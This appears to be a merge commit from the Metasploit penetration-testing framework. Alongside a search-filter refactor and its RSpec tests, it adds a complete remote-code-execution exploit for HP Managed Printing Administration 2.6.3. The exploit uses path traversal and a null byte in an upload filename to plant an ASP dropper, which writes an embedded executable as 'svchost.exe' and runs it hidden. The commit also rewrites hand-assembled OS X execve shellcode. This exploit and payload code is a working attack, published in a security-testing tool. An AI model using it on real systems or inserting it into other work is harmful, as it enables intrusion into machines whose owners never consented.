Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
1a5e0e10a5
|
@ -110,10 +110,8 @@ class Module
|
|||
# hash.
|
||||
#
|
||||
def initialize(info = {})
|
||||
|
||||
@module_info_copy = info.dup
|
||||
|
||||
|
||||
self.module_info = info
|
||||
generate_uuid
|
||||
|
||||
|
@ -680,9 +678,6 @@ class Module
|
|||
k = res
|
||||
|
||||
refs = self.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
|
||||
is_exploit = (self.type == "exploit")
|
||||
is_auxiliary = (self.type == "auxiliary")
|
||||
is_post = (self.type == "post")
|
||||
is_server = (self.respond_to?(:stance) and self.stance == "aggressive")
|
||||
is_client = (self.respond_to?(:stance) and self.stance == "passive")
|
||||
|
||||
|
@ -719,9 +714,7 @@ class Module
|
|||
when 'port'
|
||||
match = [t,w] if self.datastore['RPORT'].to_s =~ r
|
||||
when 'type'
|
||||
match = [t,w] if (w == "exploit" and is_exploit)
|
||||
match = [t,w] if (w == "auxiliary" and is_auxiliary)
|
||||
match = [t,w] if (w == "post" and is_post)
|
||||
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and self.type == modt }
|
||||
when 'app'
|
||||
match = [t,w] if (w == "server" and is_server)
|
||||
match = [t,w] if (w == "client" and is_client)
|
||||
|
@ -741,7 +734,7 @@ class Module
|
|||
return true
|
||||
end
|
||||
end
|
||||
# Filter this module if we matched an exlusion keyword (-value)
|
||||
# Filter this module if we matched an exclusion keyword (-value)
|
||||
if mode == 1 and match
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -0,0 +1,254 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability on HP Managed Printing
|
||||
Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
|
||||
function from the MPAUploader.Uploader.1 control, loaded and used by the server.
|
||||
The function can be abused via directory traversal and null byte injection in order
|
||||
to achieve arbitrary file upload. In order to exploit successfully, a few conditions
|
||||
must be met: 1) A writable location under the context of Internet Guest Account
|
||||
(IUSR_*), or Everyone is required. By default, this module will attempt to write to
|
||||
/hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide
|
||||
another writable path. 2) The writable path must also be readable by a browser,
|
||||
this typically means a location under wwwroot. 3) You cannot overwrite a file with
|
||||
the same name as the payload.
|
||||
},
|
||||
'Author' => [
|
||||
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-4166'],
|
||||
['OSVDB', '78015'],
|
||||
['BID', '51174'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
|
||||
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Dec 21 2011'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def webfolder_uri
|
||||
begin
|
||||
u = datastore['WRITEWEBFOLDER']
|
||||
u = "/" if u.nil? or u.empty?
|
||||
URI(u).to_s
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
|
||||
return "/"
|
||||
end
|
||||
end
|
||||
|
||||
def to_exe_asp(exes = '')
|
||||
|
||||
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_length = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_out = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_group = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
const_base64 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_pout = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
vbs = "<%\r\n"
|
||||
|
||||
# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
|
||||
vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
|
||||
vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
|
||||
vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
|
||||
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
|
||||
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
|
||||
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
|
||||
vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
|
||||
vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
|
||||
vbs << "Exit Function\r\n"
|
||||
vbs << "End If\r\n"
|
||||
vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
|
||||
vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
|
||||
vbs << "#{var_bytes} = 3\r\n"
|
||||
vbs << "#{var_ngroup} = 0\r\n"
|
||||
vbs << "For #{var_counter} = 0 To 3\r\n"
|
||||
vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
|
||||
vbs << "If #{var_char} = \"=\" Then\r\n"
|
||||
vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
|
||||
vbs << "#{var_thisdata} = 0\r\n"
|
||||
vbs << "Else\r\n"
|
||||
vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
|
||||
vbs << "End If\r\n"
|
||||
vbs << "If #{var_thisdata} = -1 Then\r\n"
|
||||
vbs << "Exit Function\r\n"
|
||||
vbs << "End If\r\n"
|
||||
vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
|
||||
vbs << "Next\r\n"
|
||||
vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
|
||||
vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
|
||||
vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
|
||||
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
|
||||
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
|
||||
vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
|
||||
vbs << "Next\r\n"
|
||||
vbs << "#{var_f64name} = #{var_out}\r\n"
|
||||
vbs << "End Function\r\n"
|
||||
|
||||
vbs << "Sub #{var_func}()\r\n"
|
||||
vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
|
||||
vbs << "Dim #{var_obj}\r\n"
|
||||
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
||||
vbs << "Dim #{var_stream}\r\n"
|
||||
vbs << "Dim #{var_tempdir}\r\n"
|
||||
vbs << "Dim #{var_tempexe}\r\n"
|
||||
vbs << "Dim #{var_basedir}\r\n"
|
||||
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
||||
|
||||
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
||||
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
||||
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
||||
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
||||
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
||||
vbs << "#{var_stream}.Close\r\n"
|
||||
vbs << "Dim #{var_shell}\r\n"
|
||||
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
||||
|
||||
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
|
||||
vbs << "End Sub\r\n"
|
||||
|
||||
vbs << "#{var_func}\r\n"
|
||||
vbs << "%>\r\n"
|
||||
vbs
|
||||
end
|
||||
|
||||
def upload(contents, location)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
|
||||
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
|
||||
data = post_data.to_s
|
||||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => data,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'userId' => rand_text_numeric(2+rand(2)),
|
||||
'jobId' => rand_text_numeric(2+rand(2))
|
||||
}
|
||||
})
|
||||
return res
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
|
||||
version = nil
|
||||
if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
|
||||
version = $1
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_status("HP MPA Version Detected: #{version}")
|
||||
|
||||
if version <= "2.6.3"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Generate the ASP containing the EXE containing the payload
|
||||
exe = generate_payload_exe
|
||||
# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
|
||||
asp = to_exe_asp(exe)
|
||||
|
||||
#
|
||||
# UPLOAD
|
||||
#
|
||||
asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
|
||||
locations = [
|
||||
"/hpmpa/userfiles/images/printers/",
|
||||
"/hpmpa/userfiles/images/backgrounds/",
|
||||
"/hpmpa/userfiles/images/",
|
||||
"/hpmpa/userfiles/",
|
||||
"/"
|
||||
]
|
||||
|
||||
locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
|
||||
|
||||
payload_url = ""
|
||||
|
||||
locations.each {|location|
|
||||
asp_location = location + asp_name
|
||||
print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
|
||||
res = upload(asp, asp_location)
|
||||
if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
|
||||
print_good("#{peer} - ASP Payload successfully wrote to #{location}")
|
||||
payload_url = asp_location
|
||||
break
|
||||
elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
|
||||
print_error("#{peer} - Error probably due to permissions while writing to #{location}")
|
||||
else
|
||||
print_error("#{peer} - Unknown error while while writing to #{location}")
|
||||
end
|
||||
}
|
||||
|
||||
if payload_url.empty?
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
|
||||
end
|
||||
|
||||
#
|
||||
# EXECUTE
|
||||
#
|
||||
print_status("#{peer} - Executing payload through #{payload_url}...")
|
||||
send_request_cgi({ 'uri' => payload_url})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -26,31 +26,73 @@ module Metasploit3
|
|||
super(merge_info(info,
|
||||
'Name' => 'OS X Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
|
||||
'Author' =>
|
||||
[
|
||||
'snagg <snagg[at]openssl.it>',
|
||||
'argp <argp[at]census-labs.com>',
|
||||
'joev <jvennix[at]rapid7.com>'
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86))
|
||||
'Arch' => ARCH_X86
|
||||
))
|
||||
|
||||
# Register exec options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
cmd = datastore['CMD'] || ''
|
||||
len = cmd.length + 1
|
||||
payload =
|
||||
"\x31\xc0\x50" +
|
||||
Rex::Arch::X86.call(len) + cmd +
|
||||
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
|
||||
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
|
||||
"\x50\x53\xb0\x3b\x50\xcd\x80"
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
# the non-exe-path parts of the chunks need to be reversed for execve
|
||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||
|
||||
payload = ''
|
||||
|
||||
# Stuff an array of arg strings into memory
|
||||
payload << "\x31\xc0" # xor eax, eax (eax => 0)
|
||||
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
|
||||
payload << arg_str
|
||||
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
|
||||
|
||||
# now EBX contains &cmd_parts[0], the exe path
|
||||
if cmd_parts.length > 1
|
||||
# Build an array of pointers to arguments
|
||||
payload << "\x89\xD9" # mov ecx, ebx
|
||||
payload << "\x50" # push eax; null byte (end of array)
|
||||
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
||||
|
||||
cmd_parts[1..-1].each_with_index do |arg, idx|
|
||||
l = [cmd_parts[idx].length+1].pack('V')
|
||||
# can probably save space here by doing the loop in ASM
|
||||
# for each arg, push its current memory location on to the stack
|
||||
payload << "\x81\xC1" # add ecx, ...
|
||||
payload << l # (cmd_parts[idx] is the prev arg)
|
||||
payload << "\x51" # push ecx (&cmd_parts[idx])
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx (&cmd_parts[0])
|
||||
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
|
||||
payload << "\x52" # push edx
|
||||
payload << "\x51" # push ecx
|
||||
else
|
||||
# pass NULL args array to execve() call
|
||||
payload << "\x50\x50" # push eax, push eax
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx
|
||||
payload << "\xb0\x3b" # mov al, 0x3b (execve)
|
||||
payload << "\x50" # push eax
|
||||
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,174 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
require 'msf/core/module'
|
||||
require 'msf/core/module/platform_list'
|
||||
|
||||
shared_examples "search_filter" do |opts|
|
||||
accept = opts[:accept] || []
|
||||
reject = opts[:reject] || []
|
||||
|
||||
accept.each do |query|
|
||||
it "should accept a query containing '#{query}'" do
|
||||
# if the subject matches, search_filter returns false ("don't filter me out!")
|
||||
subject.search_filter(query).should be_false
|
||||
end
|
||||
|
||||
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
||||
it "should reject a query containing '-#{query}'" do
|
||||
subject.search_filter("-#{query}").should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
reject.each do |query|
|
||||
it "should reject a query containing '#{query}'" do
|
||||
# if the subject doesn't matches, search_filter returns true ("filter me out!")
|
||||
subject.search_filter(query).should be_true
|
||||
end
|
||||
|
||||
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
||||
it "should accept a query containing '-#{query}'" do
|
||||
subject.search_filter("-#{query}").should be_true # what? why?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
REF_TYPES = %w(CVE BID OSVDB EDB)
|
||||
|
||||
describe Msf::Module do
|
||||
describe '#search_filter' do
|
||||
let(:opts) { Hash.new }
|
||||
before { subject.stub(:fullname => '/module') }
|
||||
subject { Msf::Module.new(opts) }
|
||||
accept = []
|
||||
reject = []
|
||||
|
||||
context 'on a blank query' do
|
||||
it_should_behave_like 'search_filter', :accept => [''], :test_inverse => false
|
||||
end
|
||||
|
||||
context 'on a client module' do
|
||||
before { subject.stub(:stance => 'passive') }
|
||||
accept = %w(app:client)
|
||||
reject = %w(app:server)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a server module' do
|
||||
before { subject.stub(:stance => 'aggressive') }
|
||||
accept = %w(app:server)
|
||||
reject = %w(app:client)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module with the author "joev"' do
|
||||
let(:opts) { ({ 'Author' => ['joev'] }) }
|
||||
accept = %w(author:joev author:joe)
|
||||
reject = %w(author:unrelated)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module with the authors "joev" and "blarg"' do
|
||||
let(:opts) { ({ 'Author' => ['joev', 'blarg'] }) }
|
||||
accept = %w(author:joev author:joe)
|
||||
reject = %w(author:sinn3r)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module that supports the osx platform' do
|
||||
let(:opts) { ({ 'Platform' => %w(osx) }) }
|
||||
accept = %w(platform:osx os:osx)
|
||||
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module that supports the linux platform' do
|
||||
let(:opts) { ({ 'Platform' => %w(linux) }) }
|
||||
accept = %w(platform:linux os:linux)
|
||||
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module that supports the windows platform' do
|
||||
let(:opts) { ({ 'Platform' => %w(windows) }) }
|
||||
accept = %w(platform:windows os:windows)
|
||||
reject = %w(platform:bsd platform:osx platform:unix os:bsd os:osx os:unix)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module that supports the osx and linux platforms' do
|
||||
let(:opts) { ({ 'Platform' => %w(osx linux) }) }
|
||||
accept = %w(platform:osx platform:linux os:osx os:linux)
|
||||
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module that supports the windows and irix platforms' do
|
||||
let(:opts) { ({ 'Platform' => %w(windows irix) }) }
|
||||
accept = %w(platform:windows platform:irix os:windows os:irix)
|
||||
reject = %w(platform:bsd platform:osx platform:linux os:bsd os:osx os:linux)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module with a default RPORT of 5555' do
|
||||
before { subject.stub(:datastore => { 'RPORT' => 5555 }) }
|
||||
accept = %w(port:5555)
|
||||
reject = %w(port:5556)
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
|
||||
context 'on a module with a #name of "blah"' do
|
||||
let(:opts) { ({ 'Name' => 'blah' }) }
|
||||
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
|
||||
it_should_behave_like 'search_filter', :accept => %w(name:blah), :reject => %w(name:foo)
|
||||
end
|
||||
|
||||
context 'on a module with a #fullname of "blah"' do
|
||||
before { subject.stub(:fullname => '/c/d/e/blah') }
|
||||
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
|
||||
it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo)
|
||||
end
|
||||
|
||||
context 'on a module with a #description of "blah"' do
|
||||
let(:opts) { ({ 'Description' => 'blah' }) }
|
||||
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
|
||||
end
|
||||
|
||||
context 'when filtering by module #type' do
|
||||
all_module_types = Msf::MODULE_TYPES
|
||||
all_module_types.each do |mtype|
|
||||
context "on a #{mtype} module" do
|
||||
before(:each) { subject.stub(:type => mtype) }
|
||||
|
||||
accept = ["type:#{mtype}"]
|
||||
reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" }
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
REF_TYPES.each do |ref_type|
|
||||
ref_num = '1234-1111'
|
||||
context 'on a module with reference #{ref_type}-#{ref_num}' do
|
||||
let(:opts) { ({ 'References' => [[ref_type, ref_num]] }) }
|
||||
accept = ["#{ref_type.downcase}:#{ref_num}"]
|
||||
reject = %w(1235-1111 1234-1112 bad).map { |n| "#{ref_type.downcase}:#{n}" }
|
||||
|
||||
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue